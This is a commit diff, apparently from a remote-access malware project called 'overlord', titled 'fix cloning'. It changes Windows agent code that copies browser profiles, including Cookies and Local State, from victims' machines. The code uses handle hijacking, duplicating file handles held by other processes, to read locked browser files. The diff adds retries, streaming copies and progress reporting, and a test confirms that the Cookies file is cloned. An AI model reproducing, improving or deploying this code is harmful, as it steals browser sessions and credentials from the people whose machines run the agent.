vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

fix cloning

Browse Source
This commit is contained in:
KingKDot
2026-07-20 15:44:04 -05:00
parent 8dbb8c7c29
commit ed177760b3
6 changed files with 438 additions and 63 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Client/cmd/agent/capture/backstage_inject_windows.go
+156 -25
View File
@@ -637,20 +637,52 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
// Calculate total size for progress reporting
var totalBytes int64
var progressMu sync.Mutex
progress := func(percent int, copiedBytes, totalBytes int64, status string) {
if onProgress == nil {
return
}
progressMu.Lock()
defer progressMu.Unlock()
defer func() {
if r := recover(); r != nil {
log.Printf("[panic] backstage %s clone progress callback: %v", browserName, r)
}
}()
onProgress(percent, copiedBytes, totalBytes, status)
}
if onProgress != nil {
onProgress(0, 0, 0, "scanning")
progress(0, 0, 0, "scanning")
totalBytes = calcCloneSize(srcUserData, skipDirs)
onProgress(0, 0, totalBytes, "cloning")
progress(0, 0, totalBytes, "cloning")
}
type copyJob struct {
src string
dst string
src string
dst string
rel string
size int64
}
var jobs []copyJob
collectFile := func(src, dst string) {
jobs = append(jobs, copyJob{src: src, dst: dst})
if isCloneLockFileName(filepath.Base(src)) {
return
}
info, err := os.Lstat(src)
if err != nil {
log.Printf("backstage %s: warning: could not stat %s: %v", browserName, src, err)
return
}
if !isCloneableFile(info) {
log.Printf("backstage %s: skipping non-regular file %s", browserName, src)
return
}
rel, err := filepath.Rel(srcUserData, src)
if err != nil {
rel = src
}
jobs = append(jobs, copyJob{src: src, dst: dst, rel: rel, size: info.Size()})
}
// Get browser info to check profile structure
@@ -708,37 +740,95 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
jobCh := make(chan copyJob, 256)
var wg sync.WaitGroup
var copiedBytes atomic.Int64
var failedCopies atomic.Int64
var lastPercent atomic.Int32
lastPercent.Store(-1)
copyProgress := func(status string) {
if onProgress == nil {
return
}
cur := copiedBytes.Load()
if totalBytes > 0 && cur > totalBytes {
cur = totalBytes
}
pct := 0
if totalBytes > 0 {
pct = int(cur * 100 / totalBytes)
if pct > 100 {
pct = 100
}
}
progress(pct, cur, totalBytes, status)
}
reportProgress := func(n int64) {
if onProgress == nil || totalBytes <= 0 || n <= 0 {
return
}
cur := copiedBytes.Add(n)
if cur > totalBytes {
cur = totalBytes
}
pct := int32(cur * 100 / totalBytes)
if pct > 100 {
pct = 100
}
prev := lastPercent.Load()
if pct > prev && lastPercent.CompareAndSwap(prev, pct) {
onProgress(int(pct), cur, totalBytes, "cloning")
progress(int(pct), cur, totalBytes, "cloning")
}
}
for i := 0; i < numWorkers; i++ {
copyAttempt := func(job copyJob) (n int64, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("panic while copying %s: %v", job.src, r)
}
}()
return forceCopyFile(job.src, job.dst)
}
const (
cloneCopyMaxAttempts = 3
cloneCopyRetryDelay = 750 * time.Millisecond
)
copyOne := func(job copyJob) (int64, error) {
var lastErr error
for attempt := range cloneCopyMaxAttempts {
if attempt == 0 {
copyProgress("copying|" + job.rel)
} else {
copyProgress(fmt.Sprintf("retrying|%d|%d|%s|%v", attempt+1, cloneCopyMaxAttempts, job.rel, lastErr))
}
n, err := copyAttempt(job)
if err == nil {
return n, nil
}
lastErr = err
log.Printf("backstage %s: copy attempt %d/%d failed for %s: %v", browserName, attempt+1, cloneCopyMaxAttempts, job.src, err)
if attempt+1 < cloneCopyMaxAttempts {
time.Sleep(cloneCopyRetryDelay)
}
}
return 0, lastErr
}
for range numWorkers {
wg.Add(1)
go func() {
defer wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[panic] backstage file copy worker: %v", r)
}
}()
for job := range jobCh {
n, err := forceCopyFile(job.src, job.dst)
n, err := copyOne(job)
if err != nil {
log.Printf("backstage %s: warning: could not copy %s: %v", browserName, job.src, err)
failedCopies.Add(1)
copyProgress(fmt.Sprintf("skipped|%s|%v", job.rel, err))
log.Printf("backstage %s: error: could not copy %s after retries; continuing: %v", browserName, job.src, err)
if job.size > 0 {
reportProgress(job.size)
}
} else {
reportProgress(n)
}
@@ -753,22 +843,45 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
wg.Wait()
if onProgress != nil {
onProgress(100, totalBytes, totalBytes, "done")
if failed := failedCopies.Load(); failed > 0 {
progress(100, totalBytes, totalBytes, fmt.Sprintf("done_with_errors|%d", failed))
} else {
progress(100, totalBytes, totalBytes, "done")
}
}
return cloneBase, nil
}
func isCloneableFile(info os.FileInfo) bool {
if info == nil {
return false
}
mode := info.Mode()
return mode.IsRegular() && mode&os.ModeSymlink == 0
}
func isCloneLockFileName(name string) bool {
return strings.EqualFold(name, "LOCK") || strings.EqualFold(name, "lockfile")
}
func isCloneableDirEntry(entry os.DirEntry) bool {
return entry != nil && entry.IsDir() && entry.Type()&os.ModeSymlink == 0
}
func collectProfileDir(src, dst string, skipDirs map[string]bool, collect func(string, string)) {
entries, err := os.ReadDir(src)
if err != nil {
return
}
for _, entry := range entries {
if entry.Type()&os.ModeSymlink != 0 {
continue
}
name := entry.Name()
s := filepath.Join(src, name)
d := filepath.Join(dst, name)
if entry.IsDir() {
if isCloneableDirEntry(entry) {
if skipDirs[strings.ToLower(name)] {
continue
}
@@ -781,7 +894,19 @@ func collectProfileDir(src, dst string, skipDirs map[string]bool, collect func(s
func collectDirFiles(src, dst string, collect func(string, string)) {
filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
if err != nil {
return nil
}
if info.Mode()&os.ModeSymlink != 0 {
if info.IsDir() {
return filepath.SkipDir
}
return nil
}
if info.IsDir() {
return nil
}
if isCloneLockFileName(filepath.Base(path)) || !isCloneableFile(info) {
return nil
}
rel, _ := filepath.Rel(src, path)
@@ -808,7 +933,7 @@ func calcCloneSize(srcUserData string, skipDirs map[string]bool) int64 {
for _, entry := range entries {
name := entry.Name()
p := filepath.Join(srcUserData, name)
if entry.IsDir() {
if isCloneableDirEntry(entry) {
isProfile := false
if isFirefox {
isProfile = isFirefoxProfile(name)
@@ -821,8 +946,8 @@ func calcCloneSize(srcUserData string, skipDirs map[string]bool) int64 {
} else if !skipDirs[strings.ToLower(name)] {
total += calcDirSize(p)
}
} else {
if info, err := entry.Info(); err == nil {
} else if !isCloneLockFileName(name) {
if info, err := entry.Info(); err == nil && isCloneableFile(info) {
total += info.Size()
}
}
@@ -839,12 +964,12 @@ func calcProfileSize(dir string, skipDirs map[string]bool) int64 {
for _, entry := range entries {
name := entry.Name()
p := filepath.Join(dir, name)
if entry.IsDir() {
if isCloneableDirEntry(entry) {
if !skipDirs[strings.ToLower(name)] {
total += calcDirSize(p)
}
} else {
if info, err := entry.Info(); err == nil {
} else if !isCloneLockFileName(name) {
if info, err := entry.Info(); err == nil && isCloneableFile(info) {
total += info.Size()
}
}
@@ -854,11 +979,17 @@ func calcProfileSize(dir string, skipDirs map[string]bool) int64 {
func calcDirSize(dir string) int64 {
var total int64
filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error {
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
if !info.IsDir() {
if info.Mode()&os.ModeSymlink != 0 {
if info.IsDir() {
return filepath.SkipDir
}
return nil
}
if !info.IsDir() && !isCloneLockFileName(filepath.Base(path)) && isCloneableFile(info) {
total += info.Size()
}
return nil
Overlord-Client/cmd/agent/capture/backstage_inject_windows_test.go
+61
View File
@@ -3,7 +3,10 @@
package capture
import (
"os"
"path/filepath"
"slices"
"strings"
"syscall"
"testing"
)
@@ -54,6 +57,64 @@ func TestAppendEnvironmentOverridesPreservesUnicodeAndReplacesRDI(t *testing.T)
}
}
func TestCloneBrowserProfileProgressPanicDoesNotAbortCopy(t *testing.T) {
src := t.TempDir()
if err := os.WriteFile(filepath.Join(src, "Local State"), []byte("state"), 0600); err != nil {
t.Fatalf("write Local State: %v", err)
}
profileDir := filepath.Join(src, "Default")
if err := os.MkdirAll(profileDir, 0700); err != nil {
t.Fatalf("mkdir profile: %v", err)
}
if err := os.WriteFile(filepath.Join(profileDir, "Cookies"), []byte("cookies"), 0600); err != nil {
t.Fatalf("write Cookies: %v", err)
}
if err := os.WriteFile(filepath.Join(profileDir, "LOCK"), []byte("lock"), 0600); err != nil {
t.Fatalf("write LOCK: %v", err)
}
if err := os.WriteFile(filepath.Join(profileDir, "lockfile"), []byte("lockfile"), 0600); err != nil {
t.Fatalf("write lockfile: %v", err)
}
var statuses []string
cloneDir, err := cloneBrowserProfile("Chrome", src, false, func(percent int, copiedBytes, totalBytes int64, status string) {
statuses = append(statuses, status)
if status == "cloning" || percent == 100 {
panic("progress callback failed")
}
})
if err != nil {
t.Fatalf("cloneBrowserProfile: %v", err)
}
if !slices.ContainsFunc(statuses, func(status string) bool {
return strings.HasPrefix(status, "copying|")
}) {
t.Fatalf("clone progress did not report current copy file: %#v", statuses)
}
if got, err := os.ReadFile(filepath.Join(cloneDir, "Local State")); err != nil || string(got) != "state" {
t.Fatalf("cloned Local State = %q, %v", got, err)
}
if got, err := os.ReadFile(filepath.Join(cloneDir, "Default", "Cookies")); err != nil || string(got) != "cookies" {
t.Fatalf("cloned Cookies = %q, %v", got, err)
}
for _, skipped := range []string{"LOCK", "lockfile"} {
if _, err := os.Stat(filepath.Join(cloneDir, "Default", skipped)); !os.IsNotExist(err) {
t.Fatalf("lock file %s should not be cloned; stat err=%v", skipped, err)
}
}
}
func TestGetProcessesLockingFileShortPathDoesNotPanic(t *testing.T) {
defer func() {
if r := recover(); r != nil {
t.Fatalf("getProcessesLockingFile panicked for short path: %v", r)
}
}()
_ = getProcessesLockingFile("a")
}
func testEnvironmentBlock(t *testing.T, entries ...string) []uint16 {
t.Helper()
Overlord-Client/cmd/agent/capture/handle_hijack_windows.go
+76 -18
View File
@@ -3,6 +3,7 @@
package capture
import (
"errors"
"io"
"log"
"os"
@@ -59,6 +60,8 @@ const (
fileTypeDisk = 0x0001
)
var errHijackHandleNotFound = errors.New("matching locked file handle not found")
type systemHandleTableEntryInfoEx struct {
Object uintptr
UniqueProcessId uintptr
@@ -80,7 +83,24 @@ func forceReadFile(filePath string) ([]byte, error) {
}
log.Printf("[handle-hijack] file locked, attempting hijack: %s", filePath)
dupHandle, hijackErr := duplicateLockedFileHandle(filePath, err)
if hijackErr != nil {
return nil, hijackErr
}
defer procCloseHandle.Call(dupHandle)
data = readFileFromHandle(dupHandle)
if data == nil {
return nil, err
}
log.Printf("[handle-hijack] read %d bytes via hijacking", len(data))
return data, nil
}
func duplicateLockedFileHandle(filePath string, fallbackErr error) (uintptr, error) {
if fallbackErr == nil {
fallbackErr = errHijackHandleNotFound
}
lockingPids := getProcessesLockingFile(filePath)
currentProcess, _, _ := procGetCurrentProcess.Call()
@@ -101,7 +121,7 @@ func forceReadFile(filePath string) ([]byte, error) {
continue
}
if status != 0 {
return nil, err
return 0, fallbackErr
}
break
}
@@ -171,18 +191,21 @@ func forceReadFile(filePath string) ([]byte, error) {
}
log.Printf("[handle-hijack] found matching handle from PID %d", pid)
data := readFileFromHandle(dupHandle)
procCloseHandle.Call(dupHandle)
if data != nil {
log.Printf("[handle-hijack] read %d bytes via hijacking", len(data))
return data, nil
}
return dupHandle, nil
}
return nil, err
return 0, fallbackErr
}
func forceCopyFile(src, dst string) (int64, error) {
if shouldTryHijackBeforeCopy(src) {
n, err := copyFileViaHijack(src, dst, nil)
if err == nil {
return n, nil
}
log.Printf("[handle-hijack] pre-copy hijack failed for %s: %v; falling back to normal copy", src, err)
}
n, err := copyFileCount(src, dst)
if err == nil {
return n, nil
@@ -191,18 +214,50 @@ func forceCopyFile(src, dst string) (int64, error) {
return 0, err
}
data, hijackErr := forceReadFile(src)
if hijackErr != nil || data == nil {
n, hijackErr := copyFileViaHijack(src, dst, err)
if hijackErr != nil {
log.Printf("[handle-hijack] locked-file hijack failed for %s: %v", src, hijackErr)
return 0, hijackErr
}
return n, nil
}
func shouldTryHijackBeforeCopy(src string) bool {
lower := strings.ToLower(filepath.ToSlash(src))
return strings.Contains(lower, "/gpupersistentcache/") || strings.HasSuffix(lower, "/cache.db")
}
func copyFileViaHijack(src, dst string, fallbackErr error) (int64, error) {
log.Printf("[handle-hijack] attempting streaming hijack copy: %s", src)
dupHandle, hijackErr := duplicateLockedFileHandle(src, fallbackErr)
if hijackErr != nil {
return 0, hijackErr
}
return copyDuplicatedHandleToFile(src, dst, dupHandle)
}
func copyDuplicatedHandleToFile(src, dst string, dupHandle uintptr) (int64, error) {
in := os.NewFile(dupHandle, src)
if in == nil {
procCloseHandle.Call(dupHandle)
return 0, os.ErrInvalid
}
defer in.Close()
if err := os.MkdirAll(getDir(dst), 0700); err != nil {
return 0, err
}
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return 0, err
}
defer out.Close()
if mkErr := os.MkdirAll(getDir(dst), 0700); mkErr != nil {
return 0, mkErr
n, err := io.Copy(out, in)
if err == nil {
log.Printf("[handle-hijack] copied %d bytes via hijacked handle", n)
}
if wErr := os.WriteFile(dst, data, 0600); wErr != nil {
return 0, wErr
}
return int64(len(data)), nil
return n, err
}
func getDir(path string) string {
@@ -242,7 +297,6 @@ func readFileFromHandle(handle uintptr) []byte {
if ok == 0 || fileSize <= 0 {
return nil
}
baseAddr, _, _ := procMapViewOfFile.Call(
hMapping, fileMapRead, 0, 0, uintptr(fileSize),
)
@@ -283,7 +337,11 @@ type rmProcessInfo struct {
}
func getProcessesLockingFile(filePath string) []uint32 {
sessionKey, _ := syscall.UTF16PtrFromString("ovd_" + filePath[len(filePath)-8:])
suffixStart := len(filePath) - 8
if suffixStart < 0 {
suffixStart = 0
}
sessionKey, _ := syscall.UTF16PtrFromString("ovd_" + filePath[suffixStart:])
var sessionHandle uint32
ret, _, _ := procRmStartSession.Call(